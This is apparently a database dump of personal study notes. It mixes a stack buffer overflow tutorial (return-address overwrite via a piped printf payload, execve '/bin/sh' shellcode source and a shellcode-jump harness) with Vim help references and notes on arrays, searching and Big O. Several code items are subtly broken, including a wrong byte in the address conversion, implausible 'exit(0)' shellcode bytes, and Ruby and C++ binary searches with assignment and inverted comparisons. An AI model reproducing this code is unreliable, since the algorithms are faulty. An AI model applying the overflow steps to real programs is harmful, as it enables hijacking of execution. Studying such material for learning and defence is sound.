2081 ↑ Lower addresses (0x08000000) text txt 2024-07-28 10:13:23.75452 -6598 2081 Shared libraries\n.text\n.bss\nHeap (grows ↓)\nStack (grows ↑)\nenv pointer\nArgc text txt 2024-07-28 10:13:23.775843 -6599 2081 ↓ Higher addresses (0xbfffffff) code txt 2024-07-28 10:13:23.796407 -6600 2082 - General purpose registers: `rbp`, `rsp`, `rax`, `rbx`, `rcx`, `rdx`, `rdi`, `rsi`, `r8`, `r9`,...\n- Segment registers: `cs`, `ds`, `ss`\n- Control registers: `rip`\n- Other registers: `rflags` text txt 2024-07-28 10:13:24.050525 -6601 2083 C has no bounds-checking on buffers. text txt 2024-07-28 10:13:24.474061 -6602 2083 #include text txt 2024-07-28 10:13:24.493215 -6603 2083 int main()\n{\n int array[5] = {1,2,3,4,5};\n printf("%d\\\\n", array[5]);\n} code txt 2024-07-28 10:13:24.514357 -6604 2084 int main()\n{\n int array[5], index;\n for (index = 0; index != 255; ++index)\n {\n array[index] = 10;\n }\n} code txt 2024-07-28 10:13:25.096386 -6607 2084 As shown by the core, machine was trying to execute address\n`0x0000000a0000000a` which is the value we filled by overwriting on the\nstack. text txt 2024-07-28 10:13:25.160322 -6608 2085 When a function has completed executing its instructions, it returns control\nto the original function caller. text txt 2024-07-28 10:13:26.096183 -6609 2085 void function(int a, int b)\n{\n int array[5];\n} text txt 2024-07-28 10:13:26.116936 -6610 2085 main()\n{\n function(1, 2);\n} code txt 2024-07-28 10:13:26.138583 -6611 2085 The consecutive execution of the program now needs to be interrupted, and the\ninstructions in `function` need to be executed. The first step is to push the\narguments for function, `a` and `b`, backward onto the stack. When the\narguments are placed onto the stack, the `function` is called, placing the\nreturn address, or `RET`, onto the stack. `RET` is the address stored in the\ninstruction pointer (`EIP`) at the time function is called. text txt 2024-07-28 10:13:26.161229 -6612 2085 Before any function instructions can be executed, the prolog is executed. In\nessence, the prolog stores some values onto the stack so that the function\ncan execute cleanly. The current value of `EBP` is pushed onto the stack,\nbecause the value of `EBP` must be changed in order to reference values on\nthe stack. When the function has completed, we will need this stored value of\n`EBP` in order to calculate address locations in main. Once `EBP` is stored\non the stack, we are free to copy the current stack pointer (`ESP`) into\n`EBP`. Now we can easily reference addresses local to the stack. text txt 2024-07-28 10:13:26.184569 -6613 2085 ||Low Memory Addresses and Top of the Stack|\n|---|---|\n|Array||\n|EBP||\n|RET||\n|A||\n|B||\n||High Memory Addresses and Bottom of the Stack| text txt 2024-07-28 10:13:26.205858 -6614 2086 When examining the stack, we’re expecting to see the saved `EBP` and the\nsaved return address (`RET`). But after writing past the array, both `EBP`\nand `RET` values will be overwritten by the value we put past the array. text txt 2024-07-28 10:13:27.154855 -6615 2086 void function(void)\n{\n // top of stack, low memory\n // 1 x 8 bytes [index] 0x7fffffffe368\n // 30 x 8 bytes [array] 0x7fffffffe360\n // rbp x 8 bytes 0x7fffffffe460\n // ret x 8 bytes\n // bottom of stack, high memory text txt 2024-07-28 10:13:27.177284 -6616 2086 long array[30]; text txt 2024-07-28 10:13:27.199528 -6617 2086 unsigned long index = 0; text txt 2024-07-28 10:13:27.220004 -6618 2086 while (index != 33)\n {\n array[index] = 'C'; // value 0x43\n ++index;\n }\n} text txt 2024-07-28 10:13:27.241577 -6619 2086 main()\n{\n function();\n} code txt 2024-07-28 10:13:27.262571 -6620 2086 We have now successfully overflowed a buffer, overwritten `EBP` and `RET`,\nand therefore caused our overflowed value to be loaded into `EIP` after the\nexecution reaches to the end of the function. text txt 2024-07-28 10:13:27.283231 -6621 2086 While this overflow can be useful in creating a denial of service, we can\nmove on to controlling the path of execution, or basically, controlling what\ngets loaded into `EIP`, the instruction pointer. text txt 2024-07-28 10:13:27.305541 -6622 2087 When `RET` is read off the stack and placed into `EIP`, the instruction at\nthe address will be executed. This is how we will control execution. text txt 2024-07-28 10:13:27.736893 -6623 2087 First, we need to decide what address to use. We need to determine the\naddress to jump to, so we will have to go back to gdb and find out what\naddress calls `function`. text txt 2024-07-28 10:13:27.758521 -6624 2087 We then translate the address into shellcode and use `printf` to inject it\ninto the vulnerable program. text txt 2024-07-28 10:13:27.779005 -6625 2087 printf 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCC\\\\xed\\\\x83\\\\x04\\\\x08' | ./overflow code txt 2024-07-28 10:13:27.800466 -6626 2088 Assuming the address we want to use is `0x080483ed`. text txt 2024-07-28 10:13:28.069815 -6627 2088 We should separate each byte from end to the beginning separated by `\\\\x`\nresulting in `\\\\xed\\\\x83\\\\x04\\\\x3d`. text txt 2024-07-28 10:13:28.090274 -6628 2089 We will have to inject actual machine instructions, or opcodes, into the\nvulnerable input area. To do so, we must convert our shell-spawning code to\nassembly, and then extract the opcodes from our human-readable assembly. We\nwill then have what is termed shellcode, or the opcodes that can be injected\ninto a vulnerable input area and executed. text txt 2024-07-28 10:13:28.638562 -6629 2089 #include \n#include text txt 2024-07-28 10:13:28.658449 -6630 2089 int main(void)\n{\n char* name[2]; text txt 2024-07-28 10:13:28.68008 -6631 2089 name[0] = "/bin/sh";\n name[1] = 0x0;\n execve(name[0], name, 0x0);\n exit(0);\n} code txt 2024-07-28 10:13:28.701164 -6632 2090 char* shellcode = "\\\\xff\\\\xff\\\\xfe\\\\xf4\\\\xe8\\\\xff\\\\x31\\\\x48\\\\x08\\\\xec\\\\x83\\\\x48";\n// shellcode for exit(0) text txt 2024-07-28 10:13:29.193416 -6633 2090 int main(void)\n{\n int *ret; // empty pointer sitting on stack after (caller address) text txt 2024-07-28 10:13:29.215554 -6634 2090 ret = (int *)&ret + 6;\n // \\\\ \\\\____________ address of ret + 6 becomes the address of (caller) on stack\n // \\\\______________________ put address of (caller) on ret to have access text txt 2024-07-28 10:13:29.236626 -6635 2090 (*ret) = (int)shellcode; // replace address of (caller) with address of shellcode\n // executes shellcode\n} code txt 2024-07-28 10:13:29.256982 -6636 2091 * (`:help`) text txt 2024-07-28 10:13:29.737911 -6637 2092 * (`reference`) text txt 2024-07-28 10:13:29.911224 -6638 2093 * (`quickref`) text txt 2024-07-28 10:13:30.087355 -6639 2094 * (`user-manual`) text txt 2024-07-28 10:13:30.299106 -6640 2095 * (`repeating`)::(`single-repeat`)::(`.`) text txt 2024-07-28 10:13:30.467091 -6641 2096 * (`Insert`)::(`inserting`)::(`a` or `A`)\n* (`Insert`)::(`inserting`)::(`i` or `I`)\n* (`Insert`)::(`inserting`)::(`o` or `O`)\n* (`Insert`)::(`delete-insert`)::(`s` or `S`)\n* (`Insert`)::(`delete-insert`)::(`c` or `C`) text txt 2024-07-28 10:13:30.737421 -6642 2097 * (`cursor-motions`)::(`left-right-motions`)::(`f` or `F`)\n* (`cursor-motions`)::(`left-right-motions`)::(`t`) and (`T`)\n* (`cursor-motions`)::(`left-right-motions`)::(`;`)\n* (`cursor-motions`)::(`left-right-motions`)::(`,`) text txt 2024-07-28 10:13:30.976837 -6643 2098 * (`pattern-searches`)::(`search-commands`)::(`star`) text txt 2024-07-28 10:13:31.186477 -6644 2099 * (`reference`)::(`notation`)::(`count`)\n* (`changing`)::(`simple-change`)::(`ctrl-a`)\n* (`changing`)::(`simple-change`)::(`ctrl-x`) text txt 2024-07-28 10:13:31.441633 -6645 2100 * (`options`)::(`option-summary`)::(`nrformats`) text txt 2024-07-28 10:13:31.670656 -6646 2101 * (`changing`)::(`delete-insert`)::(`cw` or `cW`) text txt 2024-07-28 10:13:31.84498 -6647 2102 * (`changing`)::(`deleting`)::(`dd`)\n* (`changing`)::(`simple-change`)::(`gUU` or `guu`) text txt 2024-07-28 10:13:32.09488 -6648 2103 **Motions:** text txt 2024-07-28 10:13:32.715783 -6649 2103 * (`cursor-motions`)::(`operator`)\n* (`cursor-motions`)::(`object-select`)::(`aw`)\n* (`cursor-motions`)::(`object-select`)::(`as`)\n* (`cursor-motions`)::(`object-select`)::(`ap`) text txt 2024-07-28 10:13:32.736522 -6650 2103 **operator:** text txt 2024-07-28 10:13:32.757844 -6723 2158 * (`tags-and-searches`)::(`tags-file-format`)::(`ctags`) text txt 2024-07-28 10:13:44.85562 -6725 2159 * (`tags-and-searches`)::(`tag-commands`)::(`tags`) text txt 2024-07-28 10:13:45.156545 -6651 2103 * (`changing`)::(`deleting`)::(`d`)\n* (`changing`)::(`delete-insert`)::(`c`)\n* (`changing`)::(`copy-move`)::(`y`)\n* (`changing`)::(`simple-change`)::(`case`)::(`~` or `gU` or `gu` or `g~`)\n* (`changing`)::(`simple-change`)::(`shift-left-right`)::(`<` or `>`)\n* (`changing`)::(`complex-change`)::(`!`) text txt 2024-07-28 10:13:32.779338 -6652 2103 **custom operators:** text txt 2024-07-28 10:13:32.799757 -6653 2103 * (`key-mapping`)::(`map-operator`) text txt 2024-07-28 10:13:32.820551 -6654 2103 **custom motions:** text txt 2024-07-28 10:13:32.840765 -6655 2103 * (`key-mapping`)::(`omap-info`) text txt 2024-07-28 10:13:32.86074 -6656 2104 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-h`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-w`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-u`) text txt 2024-07-28 10:13:33.112928 -6657 2105 * (`reference`)::(`notation`)::(``)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-[`) text txt 2024-07-28 10:13:33.324883 -6658 2106 * (`Insert`)::(`ins-special-special`)::(`i_ctrl-o`) text txt 2024-07-28 10:13:33.494293 -6659 2107 * (`scrolling`)::(`scroll-cursor`)::(`zz`) text txt 2024-07-28 10:13:33.703317 -6660 2108 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r`) text txt 2024-07-28 10:13:33.896056 -6661 2109 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r_ctrl-p`) text txt 2024-07-28 10:13:34.102474 -6662 2110 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-r`)::(`i_ctrl_r_=`) text txt 2024-07-28 10:13:34.292975 -6663 2111 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-v`)\n* (`Insert`)::(`ins-special-keys`)::(`i_ctrl-v_digit`) text txt 2024-07-28 10:13:34.497971 -6664 2112 * (`various`)::(`varous-cmds`)::(`ga`) text txt 2024-07-28 10:13:34.671226 -6665 2113 * (`Insert`)::(`ins-special-keys`)::(`i_ctrl-k`)\n* (`digraph`)::(`digraph-table`) text txt 2024-07-28 10:13:34.896053 -6666 2114 * (`Insert`)::(`Replace`)\n* (`changing`)::(`delete-insert`)::(`R`)\n* (`changing`)::(`simple-change`)::(`r`) text txt 2024-07-28 10:13:35.119476 -6667 2115 * (`Visual`)::(`visual-start`)::(`v`)\n* (`Visual`)::(`visual-start`)::(`V`)\n* (`Visual`)::(`visual-start`)::(`ctrl-v`) text txt 2024-07-28 10:13:35.363616 -6668 2116 * (`Visual`)::(`Select`) text txt 2024-07-28 10:13:35.567726 -6669 2117 * (`Visual`)::(`visual-start`)::(`gv`) text txt 2024-07-28 10:13:35.755107 -6670 2118 * (`Visual`)::(`visual-start`)::(`v_v`) text txt 2024-07-28 10:13:35.964629 -6671 2119 * (`Visual`)::(`visual-change`)::(`v_o`) text txt 2024-07-28 10:13:36.167771 -6672 2120 * (`changing`)::(`simple-change`)::(`case`)::(`v_u` or `v_U` or `v_~`)\n* (`changing`)::(`simple-change`)::(`case`)::(`~` or `gU` or `gu` or `g~`) text txt 2024-07-28 10:13:36.40757 -6673 2121 * (`Visual`)::(`visual-repeat`) text txt 2024-07-28 10:13:36.574025 -6674 2122 *first reduce spaces between columns* text txt 2024-07-28 10:13:36.897295 -6675 2122 * (`Visual`)::(`visual-start`)::(`ctrl-v`) text txt 2024-07-28 10:13:36.918731 -6676 2122 *then reselect previous visual selection, and replace column with | character.* text txt 2024-07-28 10:13:36.938575 -6677 2122 * (`Visual`)::(`visual-start`)::(`gv`) text txt 2024-07-28 10:13:36.959429 -6678 2123 *first move the cursor on a line, then enter linewise visual mode:* text txt 2024-07-28 10:13:37.238416 -6679 2123 * (`Visual`)::(`visual-start`)::(`V`) text txt 2024-07-28 10:13:37.260849 -6680 2123 *then replace every occurance of a character in that line with another character:* text txt 2024-07-28 10:13:37.281809 -6681 2123 * (`changing`)::(`simple-change`)::(`r`) text txt 2024-07-28 10:13:37.302606 -6682 2124 * (`command-line-mode`) text txt 2024-07-28 10:13:37.511909 -6683 2125 * (`edit-files`)::(`edit-a-file`)::(`:edit`) text txt 2024-07-28 10:13:37.744304 -6684 2126 * (`edit-files`)::(`writing`)::(`:write`) text txt 2024-07-28 10:13:37.937692 -6685 2127 * (`tab-page`)::(`tab-page-commands`)::(`:tabedit`) text txt 2024-07-28 10:13:38.108441 -6686 2128 * (`windows`)::(`opening-window`)::(`:split`) text txt 2024-07-28 10:13:38.332345 -6687 2129 * (`index`)::(`ex-cmd-index`) text txt 2024-07-28 10:13:38.503067 -6688 2130 * (`vi-differences`) text txt 2024-07-28 10:13:38.705597 -6689 2131 * (`changing`)::(`copy-move`)::(`:copy`) text txt 2024-07-28 10:13:38.892307 -6690 2132 * (`changing`)::(`copy-move`)::(`:move`) text txt 2024-07-28 10:13:39.093656 -6691 2133 * (`repeating`)::(`single-repeat`)::(`@:`) text txt 2024-07-28 10:13:39.269055 -6692 2134 * (`various`)::(`various-cmds`)::(`:normal`) text txt 2024-07-28 10:13:39.465367 -6693 2135 * (`cmdline-mode`)::(`cmdline-completion`)::(`c_ctrl-d`) text txt 2024-07-28 10:13:39.650447 -6694 2136 * (`key-mapping`)::(`user-commands`)::(`command-completion`) text txt 2024-07-28 10:13:39.852389 -6695 2137 * (`options`)::(`option-summary`)::(`wildmode`) text txt 2024-07-28 10:13:40.029912 -6696 2138 * (`cmdline-mode`)::(`cmdline-editing`)::(`c_ctrl-r_ctrl-w`) text txt 2024-07-28 10:13:40.218078 -6697 2139 * (`starting`)::(`viminfo`) text txt 2024-07-28 10:13:40.439354 -6698 2140 * (`cmdline-mode`)::(`cmdline-window`) text txt 2024-07-28 10:13:40.619657 -6699 2141 * (`cmdline-mode`)::(`cmdline-window`)::(`c_ctrl-f`) text txt 2024-07-28 10:13:40.819064 -6700 2142 * (`various`)::(`various-cmds`)::(`:!`) text txt 2024-07-28 10:13:41.011166 -6701 2143 * (`cmdline-mode`)::(`cmdline-special`) text txt 2024-07-28 10:13:41.212199 -6702 2144 * (`cmdline-mode`)::(`cmdline-special`)::(`filename-modifiers`) text txt 2024-07-28 10:13:41.381945 -6703 2145 * (`various`)::(`various-cmds`)::(`:shell`) text txt 2024-07-28 10:13:41.55018 -6704 2146 * (`Insert`)::(`inserting-file`)::(`:read!`)\n* (`edit-files`)::(`writing`)::(`write_c`)\n* (`tips`)::(`rename-files`) text txt 2024-07-28 10:13:41.797571 -6705 2147 * (`changing`)::(`complex-change`)::(`:range!`) text txt 2024-07-28 10:13:42.010764 -6706 2148 * (`changing`)::(`complex-change`)::(`!`) text txt 2024-07-28 10:13:42.184009 -6707 2149 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:buffers` or `:ls`) text txt 2024-07-28 10:13:42.386845 -6708 2150 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:bnext`)\n* (`windows` or `buffers`)::(`buffer-hidden`)::(`:bprevious`) text txt 2024-07-28 10:13:42.58826 -6709 2151 * (`windows` or `buffers`)::(`buffer-hidden`)::(`:buffer`) text txt 2024-07-28 10:13:42.766706 -6710 2152 edit code txt 2024-07-28 10:13:43.022443 -6711 2152 * (`edit-files`)::(`edit-a-file`)::(`:edit`) text txt 2024-07-28 10:13:43.044827 -6712 2153 pwd code txt 2024-07-28 10:13:43.279884 -6713 2153 * (`edit-files`)::(`current-directory`)::(`:pwd`) text txt 2024-07-28 10:13:43.300531 -6714 2154 edit %:h code txt 2024-07-28 10:13:43.567256 -6715 2154 * `cmdline-mode`)::(`cmdline-special`)::(`filename-modifiers`)::(`%:h`) text txt 2024-07-28 10:13:43.588809 -6716 2155 set path+=src,include,docs code txt 2024-07-28 10:13:43.89121 -6717 2155 * (`options`)::(`option-summary`)::(`path`)\n* (`editing-files`)::(`file-searching`)::(`starstar`) text txt 2024-07-28 10:13:43.911844 -6718 2156 find main.cpp code txt 2024-07-28 10:13:44.164775 -6719 2156 * (`edit-files`)::(`editing-a-file`)::(`:find`) text txt 2024-07-28 10:13:44.18495 -6720 2157 vim path/to/directory code txt 2024-07-28 10:13:44.480508 -6721 2157 * (`netrw`)::(`netrw-explore`)::(`:Explore`)\n* (`netrw`)::(`netrw-explore`)::(`:Sexplore`)\n* (`netrw`)::(`netrw-explore`)::(`:Vexplore`) text txt 2024-07-28 10:13:44.501869 -6722 2158 ctags *.cpp code txt 2024-07-28 10:13:44.835333 -6724 2159 set tags? code txt 2024-07-28 10:13:45.135122 -6726 2160 ! ctags -R\n:nnoremap :! ctags -R\n:autocmd bufwritepost *.cpp call system("ctags -R") code txt 2024-07-28 10:13:45.493793 -6727 2160 * (`map.txt`)::(`key-mapping`)::(`map-commands`)\n* (`autocommand`)::(`autocmd-define`)::(`autocmd`)\n* (`various`)::(`various-cmds`)::(`:!cmd`) text txt 2024-07-28 10:13:45.514942 -6728 2161 * (`tags-and-searches`)::(`tag-stack`)\n* (`tags-and-searches`)::(`tag-stack`)::(`ctrl-t`)\n* (`tags-and-searches`)::(`tag-stack`)::(`:pop`)\n* (`tags-and-searches`)::(`tag-stack`)::(`:tags`) text txt 2024-07-28 10:13:45.755736 -6729 2162 * (`tags-and-searches`)::(`:tag-matchlist`)::(`g_ctrl-]`) text txt 2024-07-28 10:13:45.929299 -6730 2163 * (`tags-and-searches`)::(`:tag-matchlist`)::(`tselect`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tfirst`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tlast`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tnext`)\n* (`tags-and-searches`)::(`:tag-matchlist`)::(`tprev`) text txt 2024-07-28 10:13:46.190245 -6731 2164 * (`tags-and-searches`)::(`:tag-commands`)::(`:tag`)\n* (`tags-and-searches`)::(`:tag-commands`)::(`:tjump`) text txt 2024-07-28 10:13:46.405507 -6732 2165 * (`quickfix.txt`)::(`:make_makeprg`)::(`:make`) text txt 2024-07-28 10:13:46.646516 -6733 2166 * (`quickfix.txt`)::(`quickfix-window`)::(`:copen`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:cclose`) text txt 2024-07-28 10:13:46.883513 -6734 2167 * (`quickfix.txt`)::(`quickfix`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cnext`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cprev`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cfirst`)\n* (`quickfix.txt`)::(`quickfix`)::(`:clast`) text txt 2024-07-28 10:13:47.152604 -6735 2168 * (`quickfix.txt`)::(`quickfix`)::(`:cc`) text txt 2024-07-28 10:13:47.326465 -6736 2169 * (`quickfix.txt`)::(`quickfix`)::(`:cnfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:cpfile`) text txt 2024-07-28 10:13:47.547521 -6737 2170 * (`:make_makeprg`)::(`:lmake`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lnext`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lprev`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lfirst`)\n* (`quickfix.txt`)::(`quickfix`)::(`:llast`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lnfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:lpfile`)\n* (`quickfix.txt`)::(`quickfix`)::(`:ll`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:lopen`)\n* (`quickfix.txt`)::(`quickfix-window`)::(`:lclose`) text txt 2024-07-28 10:13:47.922185 -6738 2171 * (`quickfix.txt`)::(`quickfix-error-lists`)::(`:chistory`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lhistory`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:colder`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lolder`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:cnewer`)\n* (`quickfix.txt`)::(`quickfix-error-lists`)::(`:lnewer`) text txt 2024-07-28 10:13:48.265169 -6739 2172 setlocal makeprg=nasm -f elf64 -g -F dwarf -l %:r.lst % code txt 2024-07-28 10:13:48.54091 -6740 2172 * (`options`)::(`option-summary`)::(`makeprg`)\n* (`options`)::(`set-options`)::(`local-options`)::(`setlocal`) text txt 2024-07-28 10:13:48.562747 -6741 2173 setglobal errorformat?\n:setlocal efm=%A%f\\\\,\\\\ line\\\\ %l\\\\,\\\\ character\\\\ %c:%m,%Z%.%#,%-G%.%# code txt 2024-07-28 10:13:48.867977 -6742 2173 * (`quickfix.txt`)::(`error-file-format`)::(`errorformat`)\n* (`options`)::(`set-options`)::(`local-options`)::(`setglobal`) text txt 2024-07-28 10:13:48.888507 -6743 2174 compiler gcc code txt 2024-07-28 10:13:49.161841 -6744 2174 * (`quickfix.txt`)::(`compiler-select`)::(`compiler`) text txt 2024-07-28 10:13:49.182656 +COPY flashback.note_blocks (id, note_id, content, type, language, updated, "position") FROM stdin; +1 1 - Read\n- Search\n- Insert\n- Delete text txt 2024-07-28 09:55:47.32755 0 +2 2 We can measure the speed of an operation in terms of how many computational steps it takes. text txt 2024-07-28 09:55:47.497269 0 +3 3 **Read:** Computers read an array in just one step. text txt 2024-07-28 09:55:47.880481 0 +4 3 **Search:** To Search for a value within an array, computers have no choice but to inspect each cell one at a time.\nThis algorithm is called **linear search**. text txt 2024-07-28 09:55:47.901057 0 +5 3 **Insert:** Inserting data in an array can take N+1 steps for an array containing N elements.\nThis is because in the worst case scenario we need to shift all N elements over, and then finally execute the insertion step. text txt 2024-07-28 09:55:47.921575 0 +6 3 **Delete:** For an array containing N elements, the maximum number of steps that deletion would take is N steps.\nThis is because we need one deletion and N-1 shifts. text txt 2024-07-28 09:55:47.941629 0 +7 4 The only difference between array-based set and an array is that the set never allows duplicate values to be inserted into it. text txt 2024-07-28 09:55:48.111983 0 +8 5 **Reading:** Reading from an array-based set is exactly as reading from an array, it takes just one step for a computer to look up what's contained within a particular index. text txt 2024-07-28 09:55:48.538013 0 +9 5 **Search:** Searching an array-based set also turns out to be no different than searching an array, it takes up to N steps to search for a value within an array-based set. text txt 2024-07-28 09:55:48.55966 0 +10 5 **Delete:** Deletion is also identical between an array-based set and an array.\nIn the worst case scenario, it takes N steps to delete a value within an array-based set. text txt 2024-07-28 09:55:48.58002 0 +11 5 **Insert:** Insertion, however is different between arrays and array-based set.\nWith an array it takes N shifts and one insertion step.\nWith an array-based set however, every insertion first requires a search to check for existence of a duplicate.\nInsertion into the end of an array-based set will take up to N steps to search and one step for the actual insertion, which takes N+1 steps in total.\nIn the worst case scenario, inserting a value at the beginning of an array-based set takes N steps to look up for duplicates,\nand N steps to shift all the data to the right, and one last final step to insert the new value.\nThat's total of 2N+1 steps. text txt 2024-07-28 09:55:48.602339 0 +12 6 **Read:** Same as *array* and *array-based set*. text txt 2024-07-28 09:55:48.973071 0 +13 6 **Delete:** Same as *array* and *array-based set*. text txt 2024-07-28 09:55:48.994215 0 +14 6 **Insert:** In terms of N, it takes N elements in an ordered array, the insertion takes N+2 steps in total, no matter where in the ordered array the new value ends up.\nIf the value ends up toward the beginning of the ordered array, we have fewer comparisons and more shifts.\nIf the value ends up toward the end, we get more comparisons but fewer shifts. text txt 2024-07-28 09:55:49.016611 0 +15 6 **Search:** Searching can be applied to ordered array using different algorithms.\nUsing **linear search** algorithm, the operation can be stopped early when the value is found.\nUsing **binary search** algorithm, it would take only one more step to search each time data set grows twice. text txt 2024-07-28 09:55:49.037357 0 +16 7 Within an ordered array, we can stop a **linear search** early even if the value isn't contained within the array as soon as we reach a value with a higher order. text txt 2024-07-28 09:55:50.835759 0 +17 7 *pseudocode in ruby*\ndef linear_search(array, search_value)\n array.each_with_index do |element, index|\n if element == search_value\n return index\n elsif element > search_value\n break\n end\n end\n return nil\nend code txt 2024-07-28 09:55:50.857219 0 +18 7 *pseudocode in C++*\n#include text txt 2024-07-28 09:55:50.878297 0 +19 7 auto linear_search(std::vector const& ordered_array, int const search_value)\n{\n for (auto iter = ordered_array.cbegin(); iter != ordered_array.cend() && *iter <= search_value; ++iter)\n if (*iter == search_value)\n return iter;\n return ordered_array.cend();\n} code txt 2024-07-28 09:55:50.899742 0 +20 7 Though, using an ordered array we can also use **binary search** to attempt a search much faster! text txt 2024-07-28 09:55:50.920188 0 +21 7 *pseudocode in ruby*\ndef binary_search(array, search_value)\n lower_bound = 0\n upper_bound = array.length - 1 text txt 2024-07-28 09:55:50.940938 0 +22 7 while lower_bound <= upper_bound do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint] text txt 2024-07-28 09:55:50.962011 0 +23 7 if search_value = value_at_midpoint\n return midpoint\n elsif search_value < value_at_midpoint\n upper_bound = midpoint - 1\n elsif search_value > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end text txt 2024-07-28 09:55:50.982484 0 +24 7 return nil\nend code txt 2024-07-28 09:55:51.002372 0 +25 7 *pseudocode in C++*\n#include \n#include text txt 2024-07-28 09:55:51.023273 0 +26 7 auto binary_search(std::vector const& array, int const search_value)\n{\n auto lower_bound = array.begin();\n auto upper_bound = std::prev(array.end()); text txt 2024-07-28 09:55:51.044325 0 +27 7 while (std::distance(lower_bound, upper_bound) >= 0)\n {\n auto midpoint = std::distance(lower_bound, upper_bound) / 2;\n auto midpoint_value = array.at(midpoint); text txt 2024-07-28 09:55:51.064854 0 +28 7 if (search_value == midpoint_value)\n return midpoint;\n else if (search_value > midpoint_value)\n upper_bound = array.begin() + midpoint - 1;\n else if (search_value < midpoint_value)\n lower_bound = array.begin() + midpoint + 1;\n } text txt 2024-07-28 09:55:51.086441 0 +29 7 throw std::out_of_range{"value out of range"};\n} code txt 2024-07-28 09:55:51.10848 0 +30 8 The key question of Big O notation is if there are N data elements, how may steps will the algorithm take?\nBig O tells the story of **how much the number of step increases as the data changes**. text txt 2024-07-28 09:55:51.333273 0 +31 9 * **Read:** it would take `1` step to read from an array, so it is `O(1)`.\n* **Search:** it would take `N` steps to search through an array, so it is `O(N)`.\n* **Insert:** it would take `N+1` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** it would take `N` steps to delete from an array, so it is `O(N)`. text txt 2024-07-28 09:55:51.573271 0 +32 10 * **Read:** same as arrays, it would take `1` step to read from an array-based set, so it is `O(1)`.\n* **Search:** same as arrays it would take `N` steps to search through an array-based set, so it is `O(N)`.\n* **Insert:** it would take `N` steps to search first and `N+1` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** same as arrays it would take `N` steps to delete from an array-based set, so it is `O(N)`. text txt 2024-07-28 09:55:51.834379 0 +78 19 ```\n(4) 7 1 3 temporary variable = 2\n`````` text txt 2024-07-28 09:56:00.071315 0 +79 19 The value to the left of the gap is greater than the temporary variable, so we shift that value to the right. text txt 2024-07-28 09:56:00.091486 0 +80 19 ```\n (4) 7 1 3 temporary variable = 2\n`````` text txt 2024-07-28 09:56:00.112642 0 +33 11 * **Read:** same as arrays, it would take `1` step to read from an array-based set, so it is `O(1)`.\n* **Search:** same as arrays it would take `N` steps to search through an array-based set, so it is `O(N)`.\n* **Insert:** it would take `N` steps to search first and `N` steps to insert into an array in the worst case scenario, so it is `O(N)`.\n* **Delete:** same as arrays it would take `N` steps to delete from an array-based set, so it is `O(N)`. text txt 2024-07-28 09:55:52.071983 0 +34 12 In constant time efficiency no matter how many elements exist, the operation always takes one step. text txt 2024-07-28 09:55:52.238478 0 +35 13 `O(log N)` means the algorithm takes as many steps as it takes to keep halving the data elements until we remain with `1`. text txt 2024-07-28 09:55:52.445348 0 +36 14 1. Point to two first consecutive values in the array.\n2. If the two items are out of order, swap them.\n3. Move pointers one cell to the right.\n4. Repeat steps 1 through 3 until we reach the end of the array.\n5. Move back the two pointers back to the first two values of the array, and execute another pass-through of the array until we have a pass-through in which we did not perform any swaps. text txt 2024-07-28 09:55:54.728285 0 +37 14 Initial array: text txt 2024-07-28 09:55:54.7494 0 +38 14 ```\n 4 2 7 1 3\n`````` text txt 2024-07-28 09:55:54.770489 0 +39 14 First pass-through: 3 swaps text txt 2024-07-28 09:55:54.792242 0 +40 14 ```\n(4 2) 7 1 3\n(2 4) 7 1 3 swap\n 2 (4 7) 1 3\n 2 4 (7 1) 3\n 2 4 (1 7) 3 swap\n 2 4 1 (7 3)\n 2 4 1 (3 7) swap\n`````` text txt 2024-07-28 09:55:54.813689 0 +41 14 Second pass-through: 2 swaps text txt 2024-07-28 09:55:54.835436 0 +42 14 ```\n(2 4) 1 3 |7|\n 2 (4 1) 3 |7|\n 2 (1 4) 3 |7| swap\n 2 1 (4 3)|7|\n 2 1 (3 4)|7| swap\n`````` text txt 2024-07-28 09:55:54.856705 0 +43 14 Third pass-through: 1 swaps text txt 2024-07-28 09:55:54.878667 0 +44 14 ```\n(2 1) 3 |4 7|\n(1 2) 3 |4 7| swap\n 1 (2 3)|4 7|\n`````` text txt 2024-07-28 09:55:54.89986 0 +45 14 Fourth pass-through: text txt 2024-07-28 09:55:54.92271 0 +46 14 ```\n(1 2)|3 4 7| no swap means end of pass-throughs\n`````` text txt 2024-07-28 09:55:54.945118 0 +47 14 Sorted array: text txt 2024-07-28 09:55:54.965901 0 +48 14 ```\n 1 2 3 4 7\n`````` text txt 2024-07-28 09:55:54.986457 0 +49 14 For `N` elements we make `(N-1) + (N-2) + ... + 1 = N²/2` comparisons and in worst case scenario we make swap for each comparison,\nmaking it `N²` steps in total which falls into the `O(N²)` general category. text txt 2024-07-28 09:55:55.007416 0 +50 14 